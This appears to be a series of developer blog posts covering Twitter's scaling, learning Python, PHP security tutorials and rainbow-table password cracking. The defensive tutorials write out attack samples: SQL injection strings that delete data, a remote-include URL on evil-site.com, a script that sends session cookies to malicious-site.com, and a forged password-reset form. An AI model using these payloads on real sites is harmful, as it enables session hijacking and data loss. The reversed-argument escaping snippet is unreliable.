While my first, naive, assumptions were that Twitter was a simple read/write system that could be knocked up in a week, numerous people have pointed out the many challenges that the website faces. TechCrunch has revealed that Twitter handles 3 million messages a day, from 200,000 active users. Many people have pointed out the fact that some Twitter users have upwards of 30,000 followers, and are themselves following that number of members themselves. This lead to the general consensus that Twitter is really just a giant messaging system, not just your basic CRUD setup.

I found this conclusion to be a lot more insightful than the the usual “Rails sux” arguments that are floating around. The view was echoed by a Twitter obsessed friend the other day who asked my opinion on how a hypothetical Twitter clone could be built. He was also of the opinion that the difficult part would be creating a robust messaging system to distribute messages to storage shards and other distribution systems (SMS and any other “push” delivery mechanisms). Viewed from that perspective, it becomes an interesting engineering challenge. I’m sure that a stable system could be built without too many problems.

I was pretty surprised to read today that Twitter is running on a single master MySQL database with just two slaves serving out reads. Ouch. If they ran smoothly then there would be no reason to doubt that the company know what they are doing. However, this is obviously not the case. Even more confusing is an old blog post in which Twitter developers reveal that their biggest problems occur when users with many followers post. I can’t really imagine what setup would account for that. It sounds like a denormalized database contained within a single physical server, which just sounds like lot of effort for little gain.

For a company that has just secured a second, $15 million, round of funding their performance is ridiculous. Out of a over a dozen staff they have only three or four tech guys. If I were investing I’d be asking what the hell is going on. I’m not trying to pretend that Twitter would be an easy fix, I don’t envy the engineers. They have to maintain their current (failing) product while simultaneously pushing to build a completely different system behind the scenes. I’ve been there, and it’s not fun. Apart from having to siphon off precious developer time to keep the old system patched up, they have to face the uphill task of rebuilding everything. Having a huge user-base makes this even more difficult, as they need to get this right first try. No one is going to be happy if an updated version falls over, drops features, or is any way inferior to what they have now. It wouldn’t be surprising to see the new version of their back end systems continuously delayed far into the future.

It should be interesting to see how and if Twitter recovers from all of this. The user base seems to have been fairly forgiving up until now. Even I signed up knowing all the problems they have. Having many bloggers shouting their praise wont hurt them much. Even the many complaints are free press, really. I doubt an stable Twitter would have been written up on TechCrunch quite so much. They do face the threat of someone stealing their glory though. Each day they have outages is a gift to the dozens of Twitter clones that are undoubtedly out there. Just think Friendster; I’m sure they’ll be stable any time now.

Picking an Editor

I believe that the editor can make a huge difference to how you perceive a new language. What might be a massively frustrating time-sapping bug in one could be pointed out and corrected be another. Python doesn’t have any kind of officially recommended editor, and it can take a few hours to really get the feel of an IDE. Picking an editor when you don’t even know a language is even worse.

Dive Into Python suggested using Activestate’s Pythonwin. Unfortunately this advice seems to be very dated; the IDE was functional, but basic. I appreciated the in-built debugger and auto complete, but the editor itself seemed a little too rudimentary.

I eventually switched over to Open Komodo, also by ActiveState. The IDE is very good and does a lot of hand-holding that newbies appreciate, like looking after whitespace issues, providing auto-complete and picking up syntax errors. It does have a few drawbacks: it’s an editor, not an IDE, so you will need to run and debug your code outside the editor. It’s missing a few basic features, like a function list, but the problems are fairly minor. It is built on Firefox’s XUL platform so perhaps we’ll see more extensions becoming available in the near future.

Interactive Shell

The number one tool for making Python easy for beginners would have to be the interactive shell. There have been countless times when I’ve just jumped over to the shell to test how certain Python functions work. Even copying and playing with examples in the Dive Into Python book helps you better absorb the information. In other languages testing functionality would mean I’d need to create a new file, add my code, save it to a temporary location and then execute it. The interactive shell actively encourages me to experiment with how object behave, rather than adopting a cargo-cult mentality of just using what has worked in the past.

The White Space Issue

Python’s use of white space seems to be a big issue amongst those that are not familiar with the language. It was one of the objections that I faced when proposing it at work. It tends to put Python in the “weird language” basket, which is unfortunate. After using the language I’d say that the white space issue is largely irrelevant.

It does have some negative effects. It means you’ll have to watch out for tab/space issues, but a good IDE should do that for you. It also make refactoring a little bit more difficult; I like to sometimes comment out a conditional statements, but that is not possible in Python. Sometimes I also like to indent my code for readability, for example if I’m printing out HTML I’ll indent some child elements to indicate that they are related to previous lines. Again, that’s not possible. The biggest issue I see is that there is nothing stopping you from accidentally breaking the flow of your code. If you took a Python code file and removed the whitespace you can loose meaning:

for item in list:

if item.available:

item.update()

item.check_stock()

It’s impossible to tell where the statements should be. Are we calling check_stock on every item, or just the available ones? Sure, this is contrived, but I can see something like this happening.

The advantages of the white space convention become very obvious very quickly. Python code is very compact. Not “what-the-hell-is-this-Perl-code-doing” compact, but actual readable compact non-ugly code. I’ve heard some people describe it as “prose”. That is going a bit far, but it is very neat and easy to read.

Lists, Dicts and Tuples

Python makes working with data sets incredibly easy. It has made me realise how much of my programming is actually just munging sets. Something I’d envisage as the driving part of a module can be converted from a nest of loops and conditional statements into a single line.

Python list comprehension is the magic that makes this happen. What makes it even better is that the code is just as readable, perhaps even more so, than the verbose multi-line version. Python’s syntax makes list invocations feel like a natural extension of for loops, meaning it is a great way to get programmers stuck in the imperative mindset on board.

#Hmmm

new_list = []

for item in old_list:

if item % 2 == 0:

new_list.append(item * 2)

#Yay, list comprehensions sort it all out

new_list = [item * 2 for item in old_list if item % 2 == 0]

I’ve used map and filter functions to do the same thing in the past, but the lambda functions feel like they are out of place when transforming a list.

Syntactic Sugar

People love to repeatedly trot out one or two new features in the blog posts they write when they’ve just discovered a language. I’m no different. However I usually end up look at these contrived examples with a skeptical “but how often do you really use that?” So I’ll do you a favour and share some features that will become second nature to you in Python.

Tuple (and list) unpacking is a really neat feature. It makes a lot of code very concise. In this example the range function returns a list of [0, 1, 2]. The values are unpacked and assigned to the three variables a, b and c.

a, b, c = range(3)

This gives you the cool feature of multiple return values in a way that fits into the language and doesn’t feel bolted on. Even better, it does it without needing to implement some one-off syntax to achieve it. You can use the same unpacking feature anywhere in your code. And yes, you will use it.

data = [(1, 3), (3, 6), (4, 7)]

print [x + y for x, y in data]

#x and y are automatically unpacked

Another neat feature is the way Python treats everything as an object. This means the following code is perfectly valid.

"!" * 5

"Hello world".split()

", ".join(values)

Note that join works on the string variable, not a list as you may expect. This is not as widely used as the tuple unpacking, but does have it’s place with string munging.

Modules

One of the (few) compliments given to PHP is that it has modules for pretty much anything. From my experience, albeit limited, with Python I’d have to say that it deserves the same accolades. The project I have been working on has made use of threads, queues, HTTP servers and clients, config and command line parsers as well as sub processes (including writing to stdin and reading stdout). Everything I’ve wanted has been available as a pre-packaged module. (OK, I lie, I wanted a HTML generator. I ended up downloading markup.py and was up and running in a couple of minutes). Each of the pre-packaged modules seems well written too. Their components can be set up and used with little or no boilerplate and does what I need with very few exceptions.

The actual module system is a welcome sight for a PHP programmer. It’s a lot better than the “throw everything into the global namespace” method I’ve grown used to. It also means you can be sure that your required modules actually exist at runtime, instead of facing the prospect of your program failing mid-execution with “function X does not exist”

Documentation

PHP has spoilt me with its fantastic documentation. Python documentation is adequate, but it could be better. The API reference shows the functions and classes within a module, but could benefit code examples, gotchas and so on. It would also be great to find more links between related parts of the Python documentation. Usually I’ll need to supplement the Python documentation with a Google search for more information. PHP’s comment section is great in this regard. If someone posts to the documentation then they usually have something worth saying.

It’s Guido

One cools thing I’ve noticed when searching for Python examples is that Guido van Rossum’s name keeps appearing all over the place. I don’t know much about Guido, but it’s cool to see a language creator being so heavily involved in his creation. It is a kind of vote of confidence that makes me feel the language is worth learning.

Am I a Convert?

So, Python’s a great language, but am I a convert? Is this the end of PHP for me? Well, no. It’s a bit soon to be making that call. I’ve only used the language for a few weeks, and the first couple of weeks in a new project are always the most productive.

There are still quite a few things I like about PHP too: its documentation, easy integration with Apache and the new OO features are making it much more bearable. My knowledge and experience with PHP is not something I want to throw away on a whim. I know PHP’s strengths and weaknesses. I know exactly how far I can push it before things go bad. That knowledge is not something to underestimate. At this stage Python is still an unknown. I have no idea how will it perform in a web environment or how it will handle itself under a large load.

So, Python is a language that I can choose to use when appropriate. I can honestly say it’s been enjoyable so far and I’ll look forward to learning more.

So You Want More?

If you want to learn Python right now then check out the free Dive Into Python book.

If you are looking for something more lightweight, then the Python in Ten Minutes tutorial is a good one.

Unfortunately I can’t find anything that fills in the gaps between these two resources. If you do know of something then please let me know by leaving a comment below.

For those who don’t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement "SELECT * FROM users WHERE name = '$name'" will fail if $name is set to ' or '1' = '1. The string will be expanded to produce SELECT * FROM users WHERE name = '' or '1' = '1'. This is obviously not what you wanted, and could lead to very bad results when coupled with DELETE or UPDATE queries.

Some database libraries (but not MySQL’s PHP extension) allow multiple SQL statements inside a single call, so if $name was set to '; DELETE FROM USERS -- in the previous example the first query would be ended by the semicolon and a second query would then delete all users and open a comment so that your database will ignore any trailing characters.

Magic Quotes

PHP 4 introduced a feature called magic quotes that was intended to combat SQL injection. It did this by automatically adding backslashes before any quotes or slashes in your scripts input ($_GET or $_POST). This is widely regarded as a major mistake, as it was tackling the issue in the wrong spot. If you’ve ever seen a page which leaves backslashes in your input (think O\’Connor) then you know what I mean.

Magic quotes were also a failure because developers couldn’t ever assume that they were available or turned on in a given environment. Therefore they’d need to check and manually quote values if necessary, meaning there was no added value. These days you will probably need to do the opposite and unquote values when magic quotes are enabled. The comments in PHP’s manual page offer a method of doing this.

A Better Solution

The solution to SQL injecting is to stop thinking of SQL as a single string and start thinking of it as a command with arguments. To do this you must define the SQL statement and arguments separately. The MySQL Improved Extension (mysqli) and PHP Data Objects library both offer prepared statements which will allow you to define a query, and then to define the values for arguments inside the query.

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindValue(':name', $name);
$stmt->bindValue(':value', $value);
$stmt->execute();

If you feel that prepared statements are not for you then you can still define your SQL and arguments separately. I recommend using sprintf do this.

$sql = sprintf("SELECT * FROM user
			WHERE name = '%s'
			AND id > %d",
		mysqli_real_escape_string($name, $db),
		mysqli_real_escape_string($id, $db));

This is a little more verbose than what you are probably used to, but it makes it easy to see when a value has not been escaped. The escape function needs your DB link because it will match the encoding that your database is using. This gives you extra security against SQL injections. I use func_get_args and vsprintf to create a function to do the querying and escaping in a single function.

Final Tips

Your final line of defence against SQL injection is to plan for the worst.

Make sure that the MySQL user your website is using only has the permissions it needs, and no more. You should set up a new user with INSERT, UPDATE, DELETE and SELECT permissions on your current tables only.

It is a good idea to perform rolling database backups on a regular basis. This will obviously protect against database corruption, but could also make the difference between a vulnerability being a short outage or a complete loss of data.

You should avoid printing your SQL errors (e.g. mysql_error()) if your database calls fail. This can give attackers clues as to where you have errors in your code. It also looks unprofessional.

Physical Access

Even if your security is foolproof (which it won’t ever be) then you’re still in trouble if someone steals a physical device containing your data. Time and time again you’ll hear of someone stealing a laptop or discs containing sensitive information. Often these is no reason for the data to be in such a vulnerable location in the first place. If you do need to copy data from your secure setup then encrypting it is a very good idea.

General Security Rules

I hope this tutorial has made you aware of some of the security issues you’ll be up against as a PHP developer. I’d like to leave you with a few tips that aren’t specific to any security issue, but are good to keep in mind.

• Build on the work of others. Don’t build your own security when you can use what other, smarter, people have already done.
• Where possible use whitelists instead of blacklists.
• Never trust your user’s input. Ever.

Other articles in this series

• Securing Your PHP Code - XSS
• Securing Your PHP Code - Server Security

Keeping Code Private

There are many reasons why you would want to keep your code from being leaked. It may contain passwords or API keys, it could give attackers an idea of where your code is vulnerable or you might just not want some idiot to nick your code and benefit from your hard work.

Of course everyone knows that security by obscurity is bad, but if you have holes in your code then it’s obviously better if other people didn’t know about them.

The number one rookie mistake is failing to give your PHP scripts a .php extension. This may seem obvious, but lots of people seem to like naming their files something like “functions.inc” or “MyClass.class”, seemingly unaware that anyone can request those files and view the raw code.

As well as giving files a correct extension you also consider moving them out of your web root anyway. You don’t need them in there, and having them in a non-public path makes everything safer. If you don’t want to rearrange your site structure then you could just use .htaccess to deny all requests to your include folder. In your-site.com/includes/.htaccess

Deny from all

Facebook recently had a configuration issue that caused their PHP files to be sent out as plain text. It only takes one small mistake to show the entire world the code base stored in your web root.

Remote Code Execution

The last thing you ever want is to have an attacker run their own code on your servers. Unfortunately there are a few simple mistakes that could open your site up to this possibility.

Watch what you include or require. Many people use include as a shortcut in their templates. For example

<html>
<body>
	<div class="header">...</div>
	<?php include($_GET['page'] . ‘.php’); ?>
</body>
</html>

This is a major no-no. The first problem is that an attacker can use this vulnerability to have any file on your system output to them. /etc/passwd. PHP will also allow you to include files from a remote server. An attacker can use this “feature” against you a request to http://www.your-site.com/index.php?page=http://www.evil-site.com/malicious-script.php.txt would force your server to download and execute code from the “evil-site.com” domain. Once that happens the user can attack your system by executing shell functions.

If you want to use the above pattern of templating then you can easily implement a white list of safe files.

<?php
$page = $_GET['page'];
$pages = array(’index’, ‘about’, ‘404′, ‘help’);
if (!in_array($page, $pages)) {
	$page = ‘404′;
}
include(”$page.php”);
?>

Register Globals

In the early days of PHP, external variables ($_GET, $_POST) were expanded as variables directly into the global scope: a query string of “?a=foo” would create a variable called $a in your local scope. This is thanks to the register globals functionality. Although this could seem useful, it is potentially dangerous. You should always turn off register globals in php.ini. If you can’t edit your php.ini then add the following to your .htaccess file

php_value register_globals 0

User Uploaded Files

Apache is set to pass any file with a “php” extension through to PHP. This means you have to be careful when storing user-uploaded files in your public directories. You may choose to allow users to upload their own avatar. It you keep the name given to the file by the user then you could be in for some trouble.

Form Validation

One final word of warning: don’t be tempted to leave any data validation to the client side. You might have written a nifty JavaScript function that does everything for you, but don’t just leave it at that. You should always write your PHP validating first (and also use your database rules where possible). JavaScript validation is something you should attempt when everything else works perfectly, and should be approached as a way of speeding things up for the end user.

Other articles in this series

• Securing Your PHP Code - XSS
• Securing Your PHP Code - Databases

Any significant website is going to consist of three core layers: the client side code (HTML and JavaScript), server code (PHP) and a storage layer (MySQL). As a developer you should be aware of the security implications of each layer of technology and how you can best secure your code.

What is an XSS Attack?

This post is going to focuse on JavaScript and HTML. You might think that the HTML on your site is fairly benign. Does it matter if the HTML doesn’t come out exactly the way you planned? Actually, it does. Cross-Site Scripting (XSS) is the terms given to security vulnerabilities that are exploited through client site scripting.

Attack Types

XSS attacks fall into two categories: persistent and non-persistent. A persistent attack is one in which the attacker permanently modifies your site, just like the example below. Any user that loads the vulnerable page will be affected. A non-persistent attack is a temporary modification to the page, for example when a page prints out a variable passed to it through the query string. A non-persistent attack usually relies on some kind of social aspect from the attackers to entice the victim to visit a specially crafted URL.

Non-persistent attacks may also take advantage of holes in your JavaScript to write output to the page.

XSS Example

A simple persistent XSS session hijack attack might take the following form.

• You accept user input into a comment field. This is output straight to the page with no filtering.
• Malicious user Alice sends the following comment

  Great Work!
  <script>document.write('<img src="http://malicious-site.com/capture/' + document.cookie + '" style="display:none;">');</script>

• This is accepted by your site and pasted into the comments.
• One of your members, Bob, visits the comment page while logged in.
• His browser parses the malicious script and adds the invisible image tag to the page.
• His browser then requests the URL of the image: http://malicious-site.com/capture/PHPSESSID=3D3c2542747972f9a08b8759eafd079d7b
• Alice’s server logs Bob’s session cookie.
• Alice can now use the same session cookie on our site and you’ll think she’s logged in as Bob.

This is a simple session hijacking attack. You could no-doubt patch this vulnerability, but there are a whole range of vectors that malicious users can use to attack your site. You need to focus on your security from a broad perspective and make sure that you have covered absolutely every angle. It only takes one hole to circumvent all your defenses.

Escaping Data

The one rule to stoping attacks is simple: you need to stop trusting your users’ input. Every single piece of information you receive should be trusted as suspect. This goes beyond your usually $_POST and $_GET variables to include the following.

• $_GET
• $_POST
• $_FILES
• $_COOKIES
• $_SERVER (variables like ‘REFERRER_URI’ or ‘USER_AGENT’ are sent by the user - some attackers have been known to send bad referrer data so that they can exploit admin interfaces that show referrer information).
• Data from the DB (another developer may plug in a new data source at some stage, so you cannot ever assume that database data is escaped).
• Anything retrieved remotely, such as a RSS feeds.

That is a lot of data to sanitize. You might think that you can filter all incoming data but that’s going to lead to complications. What if you decide you need to store data from an incoming RSS feed in your DB? When you read from the datadase you’ll have already escaped it, and risk escaping it again when you read it back out. You will end up with a mass of code for escaping and un-escaping. On a project with multiple developers it will become difficult to know whether the data a block of code is dealing with is sanitized or not. The simplest solution for escaping your data is to assume that all data is unsafe and escape it at the last possible moment; when printing it out to a HTML page.

What we need is a function that will ensure our data is never interpreted as HTML by the client’s browser. This is given to use in the form of PHP’s htmlspecialchars. This function will replace any quote, angled bracket or ampersand with its HTML entity. <script> becomes <script>. Once you have sanitized your data then you’ve just stopped a large number of possible attacks.

Note: make sure you quote all HTML attributes, especially if you are using (escaped) user input in them.

<img src=foobar.gif alt=<?php echo htmlentities($userTitle);?> />

Could easily turn into

<img src=foobar.gif alt= onclick=this.src=chr(68)+chr(74)+chr(74)+chr(70) />

If you want to remove HTML tags rather than escape them then use striptags. I prefer to use htmlspecialchars because it won’t lead to accidentally data loss, and also indicates to users who attempt to use HTML in a legitimate manor that HTML is not accepted.

Allowing Some HTML

At some stage you are going to encounter a situation where you want to allow users to post a limited subset of HTML. I’d suggest that you save yourself a lot of trouble - don’t ever try and filter the HTML yourself. Parsing HTML (especially badly written HTML) is an extremely hard task to do well. Regexes aren’t going to cut it. HTML Purifier seems to be the best package out there for PHP developers.

Bogus Requests

There is a separate class of XSS attack that uses a different and of attack. In this attack the attacker creates specially crafted POST requests that they execute on the users browser without the user being aware. On third-party-site.com an attacker inserts the following code.

<form action="http://www.your-site.com/account/set_password.php” method=”post” id=”evilForm”>
	<input type=”hidden” name=”password” value=”newpass” />
</form>
<script>document.getElementById(’evilForm).submit();</script>

Your site will receive an apparently valid POST request to reset the user’s password. Because the request is sent from the victim’s browser (without them knowing) it will contain a valid cookie. You need to have some way of filtering out these bogus requests from legitimate ones.

The “Samy is my Hero” MySpace worm used a MySpace XSS hole and bogus POST requests to spread.

If you are modifying data through GET requests then you have an even bigger problem. An attacker could post a link on your own site to a malicious URL: e.g. http://www.your-site.com/blog/delete?id=1 . No filtering is going to remove this URL because it is perfectly legitimate. Do not ever allow users to modify anything with a GET request.

Preventing Bogus Requests

There are a few things you can do to prevent rogue POST requests on your site. A malicious website can have a hidden form that submits to your site, but no third-party site can ever read the DOM structure of your site through the victim’s browser.
Many sites take advantage of this security restriction by introducing a two step process for any form data.

1. User performs a GET on delete.php. This page does not modify any data.
2. Site creates a unique token and adds it to the user’s session.
3. Site returns a page containing a POST form pointing to delete_process.php.
4. The user submits the form.
5. delete_process.php does the actual deletion only if the user has performed a POST request and the request includes the token generated in step 2.
6. For good practice the server should redirect the user to a page that confirms their action (this is known as the Post/Redirect/Get pattern)

This method will thwart a malicious POST coming from the third party site, as the third part can never read the secret token we generate, and therefore their request will be rejected.

At the time of the “Samy” worm MySpace was actually implementing the two-step process described above. However, because the attacker had discovered an XSS hole in MySpace, he was able to spread the worm from within the MySpace.com domain and could use XMLHTTPRequests to read the unique token.

Note: You may think that checking referrer values is a good way to stop bogus requests. Unfortunately there have also been known vulnerabilities which allow an attacker to spoof referrer headers. In addition to this, many users browse with referrers turned off or deliberately set to an incorrect value.

Watch Your Subdomains

It is common for many third-part scripts like WordPress or PHPBB to be vulnerable to XSS attacks. You may think that by hosting the package on a separate subdomain (e.g. forum.your-site.com) would keep you safe but an attacker can use JavaScript’s document.domain setting to make XMLHTTPRequests and read cookies from your top level domain (e.g. “your-site.com”). However, they will not be able to attack any other subdomains. If you main site is located at www.your-site.com and cookies are set to be readable to “.www.your-site.com” then your main site will be safe.

HTTP Only Cookies

Another promising candidate in the fight against XSS attacks is the HTTP only cookie, a proprietary extension created by Microsoft that would stop scripts from reading cookies that should only be read by the server.

Final Thoughts

Be careful with your JavaScript, you could wind up undoing all the careful work you did in your server side code, just as BugZilla did.

Pick a content encoding and stick to it. This has even caught out Google. Use the same character encoding in your HTML meta tags as you pass to htmlspecialchars. UTF-8 is always a safe bet.

Other articles in this series

• Securing Your PHP Code - Server Security
• Securing Your PHP Code - Databases

To most of you the term ‘rainbow table’ is probably familiar. You are probably aware that they are used to aid the reversing of one-way hashes, usually when trying to crack a password. I personally think that they are a nifty little hack, and so I’d like to explain a little about how they are implemented.

Back to Square One

When storing a password, any developer worth their salt is going to hash it using a one-way hashing function. This lets them check that a given password is valid, without risking the possibility that someone could steal their user’s passwords plain text passwords *cough*.

Of course, if that was a foolproof method of protecting passwords then this would be a very short post. If you do happen to find yourself in possession of a hashed password and you want to recover the plain text password then you need to figure our how to crack it. You can’t reverse a hash but you can try and search for a text string that produces an identical hash. The obvious method of attacking a password hash is a brute force attack. You can generate a list of every possible password and hash each until you have output that matches you hashed password.

The simplicity of this solution is defeated by the fact that you are going to be trying a lot of combinations to find your target. Say you’re searching for a five character password containing lowercase letters only. A naïve search is going to produce 26^5 possibilities. That’s 11,881,376 tests to find a very trivial password. Even if you are testing thousands of hashes a second it could take hours to find a match. If you’re clever then you’ll prepare a collection of passwords that require cracking so you can process them all at once. One sweep through all possible passwords will be enough to complete your entire collection.

This reuse of generated hashes leads us to the next obvious improvement; what if we save all possible passwords and hashes in a table and just do a quick lookup whenever we have a hash to check? This seems like an ideal solution at first glance, however when you look more deeply you’ll begin to appreciate exactly how much memory this would require. Each password is 5 bytes and its associated MD5 hash is 16 bytes. The minimum storage required for a naïve lookup table is (16 + 5) bytes x 11,881,376 possibilities. That’s 200MB. Don’t forget that we’re talking about 5 letter passwords here. Any increase in complexity (either in length or possible characters) increases the size requirements exponentially. To crack a secure password would require petabytes of storage for our table. Storing and searching that data efficiently becomes a whole new problem (Google has managed to inadvertently solve this problem).

So there you have it, the two problems we face are time and memory. What we need is a compromise. Wouldn’t it be fantastic if we could only store every thousandth hash, and extrapolate from there? The most obvious problem with that is that hashes are evenly distributed. Two passwords that vary by a single letter produce hashes that are as different as passwords that are completely different. So as it becomes difficult to use the hash/plain text passwords pairs we know to crack hashes we aren’t storing a plain text value for. Rainbow tables get around this in an interesting way.

The Basic Principle

A rainbow table consists of many chains of alternating hashes and passwords. A single chain may look something like this.

A rainbow table will consist of thousands of these chains. The memory saving comes from the fact that we only ever store the start and end points of a chain; we can easily regenerate the rest of the chain when we need it.

So how does having these chains actually help us? That’s easy. We need to find the chain that contains the hash we are searching for. Let’s say that the hash we are trying to reverse is ‘289a39228b559710d307f7946b3ff94c’ - the second hash in the example chain above. We take our hash, and start creating a new chain:‘ormsp’, ‘d6b50f1a12572d77e136a8adff41a0fb’, etc. At each step, we check whether we have created a link that matches the end point of a pre-calculated chain (in this case looking for ‘sldep’). When we do find a match, we know we’ve found a chain that contains our password.

Our work is not done yet though. We take the chain we just found and start populating it from ‘aaaaa’ onwards. Once complete we have a complete chain of hashes and passwords in memory, and we can now travel backwards from our original hash to see that our password is ‘brsoh’ (anyone with the password of ‘brsoh’ is advised to change it now - it’s wasn’t a very good password anyway).

The only missing piece now is knowing how we determine that the step immediately after ‘96948aad3fcae80c08a35c9b5958cd89’should be ‘ormsp’? The answer to that is that there is nothing special about that value. We can use any algorithm that takes a 16 byte input (the hash) and generates a 5 letter passwords. This is our reduction function. The implementation is irrelevant as long as it consistently generates 5 letter plain text words when given a hash value as input.

So that is essentially the magic of rainbow tables. They’re both elegant and simple. There are a few minor details that I’ve skipped for now. They deal with a few problems that arise from implementation described above.

Coverage

The first problem is that a rainbow table can’t guarantee that it contains every single possible password. The output of our reduction function is evenly distributed across all possible passwords. Once our rainbow table contains 90% of all of possible plain text passwords, anything the reduction function outputs has a 90% chance of being a duplicate password. The more chains we generate, the more duplicates and the more wasted memory we get. The problem becomes exponentially worse as you attempt to increase coverage. There has to be a point at which you say enough is enough and live with the trade-off between the coverage you have and the memory your rainbow tables occupies.

Collisions

The second problem is related to the first. When we are generating chain and we create a plain text password that already exists in another chain, we are going to start following the same path as the other chain. This is referred to as merging.

Note how the two yellow sections are identical for two chains with completely separate starting points.

This is a big problem because, as stated before, the chances of reduplicating a password are very high. We will have entire chains that are almost identical to other chains. That leads to a huge waste of space. We could even end up generating the same password within a single chain, leading to an infinite loop.

We can do checks for loops, but that would add extra complexity to the code.

Solving Merging

Following on from the elegance of the main algorithm, the solution for merging and loops is very simple. It is also what separate rainbow tables from other cracking algorithms that use chains. What rainbow tables do is use a different reduction function for each step of the chain.

The above illustration should give you a hint at why rainbow tables are so named.

This approach completely eliminates loops because a reduction function is never reused in the same chain. It will also cut down on merging between two chains because if the merging occurs at different steps in the chains (which is most of the time) the different reduction functions let the chains diverge naturally.

The differences between reductions function doesn’t even have to be very large. It just has to be enough that two reduction functions with the same input will output two different passwords.

Adjusting the Cracking Stage

The change will mean that our cracking stage needs a little adjustment. We will need to test the hash we are trying to crack against each possible reduction function. To do this we’ll need to ensure that there are fixed number of steps in each chain. We then pick a step to build from and complete the chain. For efficiency we work from the very last reduction function to the first.

Note how the output of the reduction function changes even though we are using the same input.

Do You Want to Know More?

Co there you have it. Everything there is to know about rainbow tables. They’re nothing new, but their implementation is something that should be simple enough for any programmer to understand and appreciate. If you’re looking for more information then the following links may help you out.

• The mandatory Wikipedia link for those who want more technical details.
• Jeff Atwood tries out some available packaged rainbow tables and gives some misguided advice on protecting your passwords.
• Thomas Ptacek has written a great post on how you can really protect your passwords. Basically his advice boils down to "don’t write your own security algorithms".
• RainbowCrack is an general Rainbow Table implentation, and the source is available for download.
• Martin Hellman originally proposed the idea of a time-memory trade-off for password cracking in 1982.
• The fantastic photo at the top of the post kindly released under the creative commons by Proggie.